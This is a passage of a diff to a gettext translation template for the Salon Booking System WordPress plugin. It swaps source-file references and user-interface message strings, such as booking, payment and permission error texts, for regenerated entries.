segment.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1091\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1203\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FResendNotification.php:22\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FResendPaymentNotification.php:20\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1091\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1203\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FResendNotification.php:22\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FResendPaymentNotification.php:20\n+msgid \"Please specify an email\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FCustomers_Controller.php:186, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:186, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:186, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:185, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:186, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:186\n-msgid \"Limit top customers.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_unavailable.php:7\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_services_data_empty.php:9\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_unavailable.php:7\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_services_data_empty.php:9\n+msgid \"Please start over your reservation\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FCustomers_Controller.php:202, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:202, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:202, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:202, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:202\n-msgid \"Customer ID.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002F_admin_message_text.php:13\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_admin_message_text.php:13\n+msgid \"please take note of the following booking details\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FCustomers_Controller.php:213, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:213, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:213, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:213, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:213\n-msgid \"Limit number of no-show bookings to return.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSummaryStep.php:333\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSummaryStep.php:318\n+msgid \"\"\n+\"Please use the payment button to pay now, or Pay later if available. If the \"\n+\"problem continues, refresh the page and try again.\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FCustomers_Controller.php:236, src\u002FSLB_API\u002FController\u002FREST_Controller.php:187, src\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:81, src\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:183, src\u002FSLB_API_Mobile\u002FController\u002FREST_Controller.php:182, src\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:81, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:236, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FREST_Controller.php:187, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:81, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:183, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FREST_Controller.php:182, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:81, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:236, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FREST_Controller.php:187, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:81, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:183, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FREST_Controller.php:182, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:81, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:213, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FREST_Controller.php:187, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:81, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:183, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FREST_Controller.php:182, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:81, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:236, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FREST_Controller.php:187, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:81, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:183, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FREST_Controller.php:182, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:81, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:236, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FREST_Controller.php:187, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:81, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:183, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FREST_Controller.php:182, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:81\n-msgid \"Sorry, you cannot create resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:137\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_my_account\u002Fsalon_my_account_details.php:137\n+msgid \"\"\n+\"please, drop us some lines to understand if your experience has been  in \"\n+\"line  with your expectations\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FCustomers_Controller.php:245, src\u002FSLB_API\u002FController\u002FREST_Controller.php:205, src\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:90, src\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:192, src\u002FSLB_API_Mobile\u002FController\u002FREST_Controller.php:200, src\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:90, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:245, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FREST_Controller.php:205, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:90, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:192, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FREST_Controller.php:200, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:90, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:245, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FREST_Controller.php:205, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:90, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:192, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FREST_Controller.php:200, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:90, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:222, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FREST_Controller.php:205, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:90, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:192, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FREST_Controller.php:200, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:90, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:245, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FREST_Controller.php:205, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:90, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:192, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FREST_Controller.php:200, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:90, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:245, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FREST_Controller.php:205, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:90, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:192, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FREST_Controller.php:200, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:90\n-msgid \"Sorry, you cannot update resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002Fsalon_fbphone.php:9\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002Fsalon_fbphone.php:9\n+msgid \"Please, insert your phone number.\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FCustomers_Controller.php:254, src\u002FSLB_API\u002FController\u002FREST_Controller.php:214, src\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:99, src\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:201, src\u002FSLB_API_Mobile\u002FController\u002FREST_Controller.php:209, src\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:99, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:254, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FREST_Controller.php:214, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:99, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:201, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FREST_Controller.php:209, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:99, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:254, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FREST_Controller.php:214, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:99, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:201, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FREST_Controller.php:209, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:99, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:231, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FREST_Controller.php:214, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:99, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:201, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FREST_Controller.php:209, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:99, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:254, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FREST_Controller.php:214, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:99, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:201, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FREST_Controller.php:209, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:99, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:254, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FREST_Controller.php:214, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:99, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:201, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FREST_Controller.php:209, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:99\n-msgid \"Sorry, you cannot delete resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_checkout.php:63\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_checkout.php:63\n+msgid \"\"\n+\"Please, set this url to Facebook Login Valid Redirect URI. If empty, please \"\n+\"set the Booking Page in Booking Rules settings\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FCustomers_Controller.php:468, src\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:417, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:468, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:417, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:468, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:417, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:445, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:417, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:468, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:417, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:468, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:417\n-msgid \"Get bookings ids error.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FPlivo.php:23\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FSms\u002FPlivo.php:23\n+msgid \"Plivo: Please check your settings\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FCustomers_Controller.php:528, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:528, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:528, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:528, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:528\n-msgid \"Sorry, you are not authorized to view this customer data.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:381\n+msgid \"Plugin Actions\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FCustomers_Controller.php:607, src\u002FSLB_API\u002FController\u002FCustomers_Controller.php:620, src\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:561, src\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:574, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:607, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:620, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:561, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:574, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:607, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:620, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:561, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:574, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:568, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:581, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:561, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:574, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:607, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:620, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:561, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:574, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:607, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:620, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:561, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:574\n-msgid \"Save customer error.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FRollback.php:279\n+msgid \"Plugin successfully rolled back to previous version.\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FCustomers_Controller.php:652, src\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:768, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FCustomers_Controller.php:652, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomers_Controller.php:768, 